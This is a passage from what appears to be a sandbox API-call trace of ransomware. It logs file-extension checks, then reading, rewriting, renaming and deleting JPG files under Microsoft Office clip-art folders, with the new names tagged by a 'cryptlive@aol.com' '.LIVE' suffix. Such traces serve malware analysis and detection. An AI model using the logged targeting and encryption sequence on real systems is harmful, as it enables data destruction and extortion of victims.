Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0158.056] lstrlenW (lpString=".zip") returned 4 [0158.056] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.056] lstrlenW (lpString=".rar") returned 4 [0158.056] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.056] lstrlenW (lpString=".bz2") returned 4 [0158.056] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.056] lstrlenW (lpString=".7z") returned 3 [0158.056] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0158.056] lstrlenW (lpString=".dbf") returned 4 [0158.056] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0158.056] lstrlenW (lpString=".1cd") returned 4 [0158.056] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0158.056] lstrlenW (lpString=".jpg") returned 4 [0158.056] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0158.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0158.056] lstrlenW (lpString=".doc") returned 4 [0158.056] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.056] lstrlenW (lpString=".docx") returned 5 [0158.056] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0158.056] lstrlenW (lpString=".pdf") returned 4 [0158.056] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.056] lstrlenW (lpString=".xls") returned 4 [0158.056] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.056] lstrlenW (lpString=".xlsx") returned 5 [0158.056] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0158.056] lstrlenW (lpString=".ppt") returned 4 [0158.056] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0158.057] lstrlenW (lpString=".zip") returned 4 [0158.057] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.057] lstrlenW (lpString=".rar") returned 4 [0158.057] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.057] lstrlenW (lpString=".bz2") returned 4 [0158.057] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.057] lstrlenW (lpString=".7z") returned 3 [0158.057] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0158.057] lstrlenW (lpString=".dbf") returned 4 [0158.057] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0158.057] lstrlenW (lpString=".1cd") returned 4 [0158.057] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0158.057] lstrlenW (lpString=".jpg") returned 4 [0158.057] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.057] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0158.057] lstrlenW (lpString="J0145810.JPG") returned 12 [0158.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.059] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=36792) returned 1 [0158.059] CloseHandle (hObject=0x1e0) returned 1 [0158.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg")) returned 0x20 [0158.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.059] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.059] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0158.060] GetLastError () returned 0x0 [0158.060] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x8fb8, lpOverlapped=0x0) returned 1 [0158.062] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x8fc0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x8fc0, lpOverlapped=0x0) returned 1 [0158.063] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.064] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.064] SetEndOfFile (hFile=0x1dc) returned 1 [0158.064] CloseHandle (hObject=0x1dc) returned 1 [0158.064] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.064] SetEndOfFile (hFile=0x1e0) returned 1 [0158.066] CloseHandle (hObject=0x1e0) returned 1 [0158.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg")) returned 1 [0158.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0158.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0158.068] lstrlenW (lpString=".doc") returned 4 [0158.068] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.068] lstrlenW (lpString=".docx") returned 5 [0158.068] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0158.068] lstrlenW (lpString=".pdf") returned 4 [0158.068] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.068] lstrlenW (lpString=".xls") returned 4 [0158.068] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.068] lstrlenW (lpString=".xlsx") returned 5 [0158.068] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0158.068] lstrlenW (lpString=".ppt") returned 4 [0158.068] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0158.068] lstrlenW (lpString=".zip") returned 4 [0158.068] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.068] lstrlenW (lpString=".rar") returned 4 [0158.068] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.068] lstrlenW (lpString=".bz2") returned 4 [0158.068] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.068] lstrlenW (lpString=".7z") returned 3 [0158.068] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0158.068] lstrlenW (lpString=".dbf") returned 4 [0158.068] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0158.068] lstrlenW (lpString=".1cd") returned 4 [0158.068] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0158.069] lstrlenW (lpString=".jpg") returned 4 [0158.069] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0158.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0158.069] lstrlenW (lpString=".doc") returned 4 [0158.069] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.069] lstrlenW (lpString=".docx") returned 5 [0158.069] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0158.069] lstrlenW (lpString=".pdf") returned 4 [0158.069] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.069] lstrlenW (lpString=".xls") returned 4 [0158.069] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.069] lstrlenW (lpString=".xlsx") returned 5 [0158.069] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0158.069] lstrlenW (lpString=".ppt") returned 4 [0158.069] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0158.069] lstrlenW (lpString=".zip") returned 4 [0158.069] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.069] lstrlenW (lpString=".rar") returned 4 [0158.069] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.069] lstrlenW (lpString=".bz2") returned 4 [0158.069] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.069] lstrlenW (lpString=".7z") returned 3 [0158.069] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0158.069] lstrlenW (lpString=".dbf") returned 4 [0158.069] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0158.069] lstrlenW (lpString=".1cd") returned 4 [0158.069] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0158.069] lstrlenW (lpString=".jpg") returned 4 [0158.070] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.070] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0158.070] lstrlenW (lpString="J0145879.JPG") returned 12 [0158.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.071] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=35419) returned 1 [0158.071] CloseHandle (hObject=0x1e0) returned 1 [0158.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg")) returned 0x20 [0158.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.072] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.072] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0158.073] GetLastError () returned 0x0 [0158.073] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x8a5b, lpOverlapped=0x0) returned 1 [0158.075] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x8a60, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x8a60, lpOverlapped=0x0) returned 1 [0158.076] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.076] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.076] SetEndOfFile (hFile=0x1dc) returned 1 [0158.076] CloseHandle (hObject=0x1dc) returned 1 [0158.076] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.076] SetEndOfFile (hFile=0x1e0) returned 1 [0158.079] CloseHandle (hObject=0x1e0) returned 1 [0158.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg")) returned 1 [0158.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0158.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0158.080] lstrlenW (lpString=".doc") returned 4 [0158.080] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.080] lstrlenW (lpString=".docx") returned 5 [0158.080] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0158.080] lstrlenW (lpString=".pdf") returned 4 [0158.080] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.080] lstrlenW (lpString=".xls") returned 4 [0158.080] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.080] lstrlenW (lpString=".xlsx") returned 5 [0158.080] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0158.080] lstrlenW (lpString=".ppt") returned 4 [0158.081] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0158.081] lstrlenW (lpString=".zip") returned 4 [0158.081] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.081] lstrlenW (lpString=".rar") returned 4 [0158.081] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.081] lstrlenW (lpString=".bz2") returned 4 [0158.081] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.081] lstrlenW (lpString=".7z") returned 3 [0158.081] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0158.081] lstrlenW (lpString=".dbf") returned 4 [0158.081] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0158.081] lstrlenW (lpString=".1cd") returned 4 [0158.081] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0158.081] lstrlenW (lpString=".jpg") returned 4 [0158.081] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0158.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0158.081] lstrlenW (lpString=".doc") returned 4 [0158.081] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.081] lstrlenW (lpString=".docx") returned 5 [0158.081] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0158.081] lstrlenW (lpString=".pdf") returned 4 [0158.081] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.081] lstrlenW (lpString=".xls") returned 4 [0158.081] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.081] lstrlenW (lpString=".xlsx") returned 5 [0158.081] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0158.081] lstrlenW (lpString=".ppt") returned 4 [0158.081] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0158.081] lstrlenW (lpString=".zip") returned 4 [0158.081] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.082] lstrlenW (lpString=".rar") returned 4 [0158.082] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.082] lstrlenW (lpString=".bz2") returned 4 [0158.082] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.082] lstrlenW (lpString=".7z") returned 3 [0158.082] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0158.082] lstrlenW (lpString=".dbf") returned 4 [0158.082] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0158.082] lstrlenW (lpString=".1cd") returned 4 [0158.082] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0158.082] lstrlenW (lpString=".jpg") returned 4 [0158.082] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.082] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0158.082] lstrlenW (lpString="J0145895.JPG") returned 12 [0158.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.083] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=33958) returned 1 [0158.083] CloseHandle (hObject=0x1e0) returned 1 [0158.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg")) returned 0x20 [0158.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.083] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.083] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0158.084] GetLastError () returned 0x0 [0158.084] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x84a6, lpOverlapped=0x0) returned 1 [0158.279] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x84b0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x84b0, lpOverlapped=0x0) returned 1 [0158.280] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.280] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.280] SetEndOfFile (hFile=0x1dc) returned 1 [0158.280] CloseHandle (hObject=0x1dc) returned 1 [0158.281] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.281] SetEndOfFile (hFile=0x1e0) returned 1 [0158.283] CloseHandle (hObject=0x1e0) returned 1 [0158.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg")) returned 1 [0158.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0158.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0158.285] lstrlenW (lpString=".doc") returned 4 [0158.285] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.285] lstrlenW (lpString=".docx") returned 5 [0158.285] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0158.285] lstrlenW (lpString=".pdf") returned 4 [0158.285] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.285] lstrlenW (lpString=".xls") returned 4 [0158.285] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.285] lstrlenW (lpString=".xlsx") returned 5 [0158.285] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0158.285] lstrlenW (lpString=".ppt") returned 4 [0158.285] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0158.285] lstrlenW (lpString=".zip") returned 4 [0158.285] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.285] lstrlenW (lpString=".rar") returned 4 [0158.285] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.285] lstrlenW (lpString=".bz2") returned 4 [0158.285] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.285] lstrlenW (lpString=".7z") returned 3 [0158.285] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0158.285] lstrlenW (lpString=".dbf") returned 4 [0158.285] lstrcmpiW (lpString1=".dbf", 